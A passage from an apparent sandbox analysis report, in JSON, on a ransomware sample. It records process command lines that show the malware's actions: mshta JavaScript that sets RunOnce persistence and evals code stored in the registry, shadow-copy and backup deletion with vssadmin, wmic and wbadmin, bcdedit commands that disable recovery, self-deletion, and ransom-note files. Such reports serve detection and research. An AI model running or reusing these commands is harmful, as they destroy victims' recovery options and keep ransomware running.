cache)"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}]},"activity":{"stats":{"process_count":18,"spawned_processes_count":18,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":95,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":85,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":5,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["ransomware"],"sample_flags":["Multi-Process","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"5c766d1b7eccd23859931b6a","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"BehavesLike.Adware","submit_name":"27.02.2019.scr","analysis_start_time":"2019-02-27T10:57:31+00:00","indicators_count":{"informative":15,"suspicious":32,"malicious":15},"tags":["Multi-Process","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}],"processes":[{"pid":2616,"ppid":0,"name":"27.02.2019.scr.exe","command_line":"","sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","normalized_path":"C:\\27.02.2019.scr.exe","uid":"00011887-00002616","icon":"$2f"},{"pid":2700,"ppid":2616,"name":"cmd.exe","command_line":"/c copy /y \"C:\\27.02.2019.scr.exe\" \"%APPDATA%\\osk.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00011887-00002616","uid":"00012125-00002700"},{"pid":2304,"ppid":2616,"name":"27.02.2019.scr.exe","command_line":"runas","sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","normalized_path":"C:\\27.02.2019.scr.exe","parent_uid":"00011887-00002616","uid":"00012148-00002304"},{"pid":2100,"ppid":2304,"name":"cmd.exe","command_line":"/c copy /y \"C:\\27.02.2019.scr.exe\" \"%APPDATA%\\osk.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00012148-00002304","uid":"00012520-00002100"},{"pid":1660,"ppid":2304,"name":"osk.exe","command_line":"","sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","normalized_path":"%APPDATA%\\osk.exe","parent_uid":"00012148-00002304","uid":"00012770-00001660"},{"pid":4520,"ppid":1660,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\HtPTpznMYPK',i);}catch(e){}},10);\"","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00012770-00001660","uid":"00012994-00004520"},{"pid":3772,"ppid":1660,"name":"mshta.exe","command_line":"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\NWLMW\\\\UMEAA'));close();\"","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00012770-00001660","uid":"00013002-00003772"},{"pid":2320,"ppid":3772,"name":"cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013002-00003772","uid":"00013083-00002320"},{"pid":3032,"ppid":2320,"name":"wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","parent_uid":"00013083-00002320","uid":"00013101-00003032"},{"pid":3072,"ppid":3772,"name":"cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013002-00003772","uid":"00013089-00003072"},{"pid":3952,"ppid":3072,"name":"WMIC.exe","command_line":"wmic SHADOWCOPY DELETE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00013089-00003072","uid":"00013114-00003952"},{"pid":3104,"ppid":3772,"name":"cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013002-00003772","uid":"00013098-00003104"},{"pid":1816,"ppid":3104,"name":"vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00013098-00003104","uid":"00013116-00001816"},{"pid":2888,"ppid":3772,"name":"cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013002-00003772","uid":"00013109-00002888"},{"pid":352,"ppid":2888,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"e5bc427ba84627fa84861c54044df8ac3c3b3c3ed3d007265c6b18f588d0ca8a","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00013109-00002888","uid":"00013133-00000352"},{"pid":3376,"ppid":3772,"name":"cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013002-00003772","uid":"00013121-00003376"},{"pid":3044,"ppid":3376,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"e5bc427ba84627fa84861c54044df8ac3c3b3c3ed3d007265c6b18f588d0ca8a","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00013121-00003376","uid":"00013135-00003044"},{"pid":1656,"ppid":2304,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('27.02.2019.scr.exe');close()}catch(e){}},10);\"","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00012148-00002304","uid":"00012772-00001656"}],"all_imported_dlls":["msimtf.dll","d2d1.dll","d3d10warp.dll","version.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","rsaenh.dll","msls31.dll","d3d11.dll","slc.dll","wtsapi32.dll","bcrypt.dll","imm32.dll","msctf.dll","user32.dll","oleacc.dll","cryptsp.dll","nsi.dll","wbemcomn.dll","fastprox.dll","Wldap32.dll","wintrust.dll","ieframe.dll","vssapi.dll","msvcrt.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","secur32.dll","wbemprox.dll","MSOXMLMF.DLL","vsstrace.dll","advapi32.dll","ntdsapi.dll","wmiutils.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","shell32.dll","comctl32.dll","sspicli.dll","dxgi.dll","msvcr90.dll","ntdll.dll","sechost.dll","iertutil.dll","apphelp.dll","winbrand.dll","framedynos.dll","KernelBase.dll","ole32.dll","urlmon.dll","sxs.dll","credui.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","RpcRtRemote.dll","mpr.dll","ws2_32.dll","wbemsvc.dll","kernel32.dll","clbcatq.dll","ntmarta.dll","dwmapi.dll","scrrun.dll","crypt32.dll","msasn1.dll","msxml3r.dll","oleaut32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","DWrite.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","msxml3.dll","vss_ps.dll","gdi32.dll","cryptbase.dll","uxtheme.dll","userenv.dll","profapi.dll","atl.dll","oleaccrc.dll","lpk.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","normaliz.dll","setupapi.dll","propsys.dll","jscript9.dll","IPHLPAPI.DLL","rpcss.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","devobj.dll","shdocvw.dll","mshtml.dll","blbres.dll","winnsi.dll","usp10.dll","rpcrt4.dll","wininet.dll","shlwapi.dll","cfgmgr32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"osk.exe","sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"ReadMe.htm","sha256":"21b7c646438b1089dd83bdca7f989e3eb0f2c6bce8b5ec64cc69fd082c73d2ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf","sha256":"6d6c202d0663beb9f356b389f6966002a7662f59bb818302c9903cd80a9acf93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"COPYING.LGPLv2.1.txt","sha256":"2dcc9031c6535e0f73da0d5a115334c0a3cab52a27c33fee7214f9d05976b794","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"LICENSE.txt","sha256":"23157824ee8edf36c603fa595fe2dcc09a7acc4a8695778fbc87dec61e367271","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"cef.pak","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"cef_100_percent.pak","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"cef_200_percent.pak","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"cef_extensions.pak","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"icudtl.dat","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"en-US.pak","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"natives_blob.bin","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"snapshot_blob.bin","sha256":"a8100ae6aa1940d0b663bb31cd466142ebbdbd5187131b92d93818987832eb89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"manifest.json","sha256":"2947aeb4e9bcae19ebb0f822652b436be2da0217d5525dc2edddf22c5c44696c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"AdobeID.pdf","sha256":"9c8a6b32c56b5f1abc974d4fe63ad0e7339f73bd4be2f19779879aca1734fbcd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"DefaultID.pdf","sha256":"0a38c3fe4baa86d24c94a6176052f9cbff30c5a16ae0d5123a84c80415304b9a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"JSByteCodeWin.bin","sha256":"9e0e608a9483615e9d9542de5ecdd17a3fe238698d34ffc981ee9c4808683f66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"PDFSigQFormalRep.pdf","sha256":"2ff8f112869923d8f0718a98242022cdf994c8cbd2488e3fc4f88691fe0ad355","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"RTC.der","sha256":"075ae2583ca1bf83710552181158f1fd5cfa286c29d4c1b8c7a06a4fb806ceea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Welcome.pdf","sha256":"4d3afabde57ec12ee3e706660bc8bad33dd3aadeae898ae2a15d85a3eb977f99","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"pmd.cer","sha256":"1faf54f409b988ecf10d3916f400ab64bada3474f7d9f9c54dca2b7c2141d0d0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"7-zip.chm","sha256":"9e1f561ecfd8b8ef5991e5d49b4ea9c039d9c837be948da124cd6bdf7facb810","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}],"files_written":[{"path":"C:\\27.02.2019.scr.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%APPDATA%\\osk.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Searches\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Videos\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Contacts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Downloads\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\Saved Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\system32\\en\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Fonts\\times.ttf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wbadmin.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\wbadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Logs","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\blbres.dll","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\en-US\\blbres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\ReadMe.htm","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\ÊÀÊ ÂÎÑÑÒÀÍÎÂÈÒÜ ÇÀØÈÔÐÎÂÀÍÍÛÅ ÔÀÉËÛ.TXT","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\ÊÀÊ ÂÎÑÑÒÀÍÎÂÈÒÜ ÇÀØÈÔÐÎÂÀÍÍÛÅ ÔÀÉËÛ.TXT","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\ÊÀÊ ÂÎÑÑÒÀÍÎÂÈÒÜ ÇÀØÈÔÐÎÂÀÍÍÛÅ ÔÀÉËÛ.TXT","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\ÊÀÊ ÂÎÑÑÒÀÍÎÂÈÒÜ ÇÀØÈÔÐÎÂÀÍÍÛÅ ÔÀÉËÛ.TXT","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\ÊÀÊ ÂÎÑÑÒÀÍÎÂÈÒÜ ÇÀØÈÔÐÎÂÀÍÍÛÅ ÔÀÉËÛ.TXT","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\NWLMW\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKCU\\SOFTWARE\\HTPTPZNMYPK\\","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 